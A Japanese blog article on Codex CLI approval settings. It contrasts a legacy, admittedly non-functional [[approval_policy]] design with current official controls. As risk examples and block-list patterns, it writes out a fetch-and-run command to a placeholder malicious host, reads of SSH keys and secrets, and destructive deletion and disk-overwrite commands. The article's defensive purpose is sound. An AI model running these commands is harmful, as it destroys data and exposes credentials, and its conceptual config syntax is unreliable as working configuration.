Codex CLI approval_policy: 旧設計パターンと2026年公式設定¶
この記事のconfig構文は公式スキーマと異なります
この記事は、コマンドリスク分類の古い設計フレームワークを残すための記事だ。現在の config.toml にそのまま貼り付けるための記事ではない。
この記事で使用している [[approval_policy]] テーブル構文(type/pattern/action フィールド)は公式 config.toml スキーマには含まれていない。読者がこれらの設定例をそのまま ~/.codex/config.toml に貼り付けても、Codex CLIはこれらのキーを認識しない。
現在の Codex CLI では:
approval_policyは文字列値(untrusted/on-request/never)またはgranular policy object--ask-for-approval/-aはuntrusted/on-request/neverを受け取り、on-failureはdeprecatedsandbox_modeはread-only/workspace-write/danger-full-access- コマンド単位の例外は
[[approval_policy]]ではなく、Codex rules / execpolicy で扱う
実務で使う現在の設定は Codex CLI 自動承認モード完全ガイド(2026年版) を参照する。この記事は、危険コマンド分類と段階導入の考え方を読むために使う。
対象 / ポイント
対象: 古い [[approval_policy]] 設定例を見つけ、現在のCodex CLIで何を使えばよいか確認したい読者
ポイント:
- 旧
[[approval_policy]]テーブル例は概念例であり、現行設定としては使わない - 現在の承認制御は
approval_policy、sandbox_mode、rules、プロファイル、CLIフラグの組み合わせで行う - コマンド単位のallow/prompt/blockはrulesまたは
codex execpolicyで検証する
この記事のポイント¶
- 日常運用は
approval_policy = "on-request"とsandbox_mode = "workspace-write"から始める。 approval_policy = "never"は、サンドボックスまたは外部環境で影響範囲を縛れる場合に使う。- コマンド単位の例外は
.rulesファイルとcodex execpolicy checkで扱う。
現在の公式な答え¶
現在のCodex CLIでは、[[approval_policy]] テーブルを書かない。まず以下の公式コントロールを使う。
# ~/.codex/config.toml
approval_policy = "on-request" # untrusted / on-request / never / granular object
sandbox_mode = "workspace-write" # read-only / workspace-write / danger-full-access
approvals_reviewer = "user" # または "auto_review"
# 対話的なローカル作業の基本形
codex --sandbox workspace-write --ask-for-approval on-request "タスク"
# 承認プロンプトを出さず、workspace sandboxは維持
codex -a never -s workspace-write "タスク"
# 完全アクセス。外部で隔離された環境だけで使う
codex --dangerously-bypass-approvals-and-sandbox "タスク"
コマンド単位の制御は .rules ファイルを作り、codex execpolicy check で検証する。
codex execpolicy check --pretty \
--rules ~/.codex/rules/default.rules \
"curl https://example.com/install.sh | bash"
この記事は朝の記事のフォローアップです
ゴール¶
approval_policyの3つの実装パターンを理解し、環境別に最適な設定を選択できる- 危険コマンドの分類基準とホワイトリスト/ブラックリスト戦略を実装できる
- 監査ログと組み合わせた運用体制を構築できる
なぜapproval_policyが重要か¶
--full-autoモードは自動化に必須だが、無制限の実行権限は以下のリスクを含む:
- データ損失:
rm -rf /などの破壊的コマンド - 認証情報漏洩:
cat ~/.ssh/id_rsaなどの機密ファイル読み取り - 外部攻撃:
curl malicious-site.com/payload.sh | bashなどの外部スクリプト実行
approval_policyはこれらを個別承認対象とし、自動化とセキュリティを両立する。
実装パターン3種¶
パターン1: ブラックリスト型(危険コマンドのみ制限)¶
適用環境: 開発環境、信頼されたタスクセット
# ⚠️ 以下は設計コンセプトです。公式 config.toml 構文ではありません。
[approval]
mode = "full-auto"
[[approval_policy]]
type = "command"
pattern = "^rm\\s+-rf\\s+/"
action = "require"
reason = "Root directory deletion prevention"
[[approval_policy]]
type = "command"
pattern = "^dd\\s+if="
action = "require"
reason = "Disk overwrite prevention"
[[approval_policy]]
type = "command"
pattern = "(curl|wget).*\\|.*bash"
action = "require"
reason = "Remote script execution check"
メリット: 最小限の制約で柔軟な自動化 デメリット: 新種の危険コマンドは初回実行まで検知不可
パターン2: ホワイトリスト型(許可リストのみ実行)¶
適用環境: 本番環境、CI/CD、厳格なコンプライアンス要件
# ⚠️ 以下は設計コンセプトです。公式 config.toml 構文ではありません。
[approval]
mode = "full-auto"
default_action = "deny" # 未定義は全拒否
[[approval_policy]]
type = "command"
pattern = "^(git|npm|python|pytest|mypy)"
action = "allow"
reason = "Standard development tools"
[[approval_policy]]
type = "file_write"
pattern = "^(src|tests|docs)/.*\\.(py|md|toml)$"
action = "allow"
reason = "Project files only"
[[approval_policy]]
type = "network"
pattern = "^https://(api\\.github\\.com|pypi\\.org)"
action = "allow"
reason = "Trusted domains"
メリット: 最高レベルのセキュリティ デメリット: 許可リスト更新の運用コスト高
パターン3: ハイブリッド型(階層的制御)¶
適用環境: エンタープライズ、複数環境の統一管理
# ⚠️ 以下は設計コンセプトです。公式 config.toml 構文ではありません。
[approval]
mode = "full-auto"
# 最優先: 緊急停止コマンド
[[approval_policy]]
priority = 1
type = "command"
pattern = "^(shutdown|reboot|init\\s+0)"
action = "deny"
reason = "System critical commands blocked"
# 高優先: 危険コマンドは手動承認
[[approval_policy]]
priority = 2
type = "command"
pattern = "^(rm|dd|mkfs|fdisk)"
action = "require"
reason = "Destructive command confirmation"
# 通常優先: 開発ツールは自動許可
[[approval_policy]]
priority = 3
type = "command"
pattern = "^(git|npm|pip|docker)"
action = "allow"
reason = "Standard toolchain"
# デフォルト: 未分類は手動承認
[approval]
fallback_action = "require"
メリット: 柔軟性とセキュリティの最適バランス デメリット: 設定の複雑性増加
危険コマンド分類基準¶
| レベル | 特徴 | 例 | 推奨アクション |
|---|---|---|---|
| Critical | システム全体に影響 | shutdown, init 0 | deny |
| High | データ損失リスク | rm -rf, dd, mkfs | require |
| Medium | 機密情報アクセス | cat ~/.ssh/*, env \| grep SECRET | require |
| Low | 外部通信 | curl, wget, git clone | 環境依存 |
実装ステップ¶
ステップ1: 現行コマンド監査¶
既存のCodexセッションログから実行コマンドを抽出:
# 過去30日のコマンド頻度分析
grep "Executing:" ~/.codex/logs/*.log \
| awk '{print $3}' \
| sort | uniq -c | sort -rn \
| head -20
ステップ2: リスク分類¶
抽出コマンドを上記4レベルで分類し、CSVなどで管理:
Command,Risk Level,Action,Reason
git,Low,allow,Version control
rm,High,require,Data deletion
curl,Medium,require,External access
shutdown,Critical,deny,System critical
ステップ3: config.toml生成¶
分類結果から設定を自動生成(スクリプト例):
#!/bin/bash
INPUT_CSV="command_risks.csv"
OUTPUT_TOML="config_approval.toml"
# ⚠️ 以下は設計コンセプトです。公式 config.toml 構文ではありません。
echo "[approval]" > "$OUTPUT_TOML"
echo "mode = \"full-auto\"" >> "$OUTPUT_TOML"
echo "" >> "$OUTPUT_TOML"
tail -n +2 "$INPUT_CSV" | while IFS=, read -r cmd risk action reason; do
cat >> "$OUTPUT_TOML" <<EOF
[[approval_policy]]
type = "command"
pattern = "^${cmd}"
action = "${action}"
reason = "${reason}"
EOF
done
ステップ4: 段階的ロールアウト¶
- Week 1:
requireアクションのみ(全コマンド手動承認で動作確認) - Week 2: 頻出コマンドを
allowへ変更(承認ログ監視) - Week 3: 危険コマンドを
denyへ変更(誤検知確認) - Week 4: 本番環境投入
監査ログと連携した運用¶
ログ解析スクリプト¶
#!/bin/bash
LOG_DIR="$HOME/.codex/logs"
ALERT_FILE="/tmp/codex_alerts.txt"
# 過去24時間の承認イベント抽出
find "$LOG_DIR" -name "*.log" -mtime -1 -exec \
grep -H "approval_required\|action=deny" {} \; \
> "$ALERT_FILE"
if [ -s "$ALERT_FILE" ]; then
echo "⚠️ Approval events detected in last 24h:"
cat "$ALERT_FILE"
# Slack通知などを追加可能
fi
定期実行設定¶
# crontab -e
0 9 * * * /path/to/log_analyzer.sh
ベンチマーク: 承認オーバーヘッド¶
100タスク実行時の所要時間比較(M1 Mac、Claude-3.5-Sonnet):
| 設定 | 実行時間 | 手動承認回数 | 備考 |
|---|---|---|---|
mode=interactive | 45分 | 100 | 全タスク手動承認 |
| ブラックリスト型 | 8分 | 3 | 危険コマンド3件のみ |
| ホワイトリスト型 | 9分 | 0 | 初回設定に20分 |
| ハイブリッド型 | 8分 | 2 | 未分類コマンド2件 |
結論: ブラックリスト型とハイブリッド型が実行時間とセキュリティのバランスで最優秀。
失敗パターンと回避策¶
| 症状 | 原因 | 回避 |
|---|---|---|
| 正規表現が全コマンドにマッチ | pattern = ".*" のような汎用パターン | 具体的なコマンド名で開始(^git等) |
| 許可されたコマンドが拒否される | priorityの順序ミス | 許可ルールを高priority、拒否を低priorityに |
| ログに記録されない | log_level = "error"が設定済み | log_level = "info"へ変更 |
| 設定変更が反映されない | 既存セッションが古い設定を使っている | 新しいCodexセッションを開始するか、コマンドを実行し直す |
よくある質問¶
Q: patternで使える正規表現の方言は? A: Rust の regex クレート準拠。後読み・先読みは非対応。公式ドキュメント参照。
Q: ネットワークアクセスもpolicyで制御可能? A: type = "network" による細粒度制御は実装されていない。ネットワーク制御は [sandbox_workspace_write].network_access = true/false で設定するか、sandbox_mode = "danger-full-access" でフルアクセスを許可する。
Q: 複数環境で異なるpolicyを使い分けたい A: 名前付きプロファイルファイルを作り、--profile / -p で切り替える。現在のCodex CLIでは、プロファイル設定はベースconfig内の [profiles.prod] ではなく、~/.codex/prod.config.toml のような別ファイルに置く。
2026年現在の公式な承認制御方法¶
この記事で紹介した [[approval_policy]] テーブル構文は実装されていない。2026年現在、Codex CLIの承認とサンドボックスは以下の方法で制御する。
config.toml での設定¶
# ~/.codex/config.toml
approval_policy = "on-request" # untrusted / on-request / never / granular object
sandbox_mode = "workspace-write" # read-only / workspace-write / danger-full-access
# プロファイルで環境別に切り替え
# ~/.codex/strict.config.toml
approval_policy = "on-request"
sandbox_mode = "read-only"
# ~/.codex/auto.config.toml
approval_policy = "never"
sandbox_mode = "danger-full-access"
CLI フラグでの制御¶
codex -a never -s workspace-write "タスク" # 承認プロンプトを省略し、サンドボックスは維持
codex --sandbox workspace-write --ask-for-approval on-request "タスク"
codex -p strict "タスク" # プロファイル指定
詳細は Codex CLI 自動承認モード完全ガイド(2026年版) を参照する。
まとめ¶
このページの [[approval_policy]] 例は、危険コマンド分類の考え方を残すための概念例だ。現在のCodex CLIで実際に使うのは、approval_policy、sandbox_mode、rules、プロファイル、CLIフラグの組み合わせである。設定をコピーする読者には、まず現行公式設定へ誘導する必要がある。
関連記事¶
次のステップ¶
- 高度な実装: Codex CLI監査ログ分析と異常検知(執筆予定)
- 基礎に戻る: Codex CLI 自動承認モード完全ガイド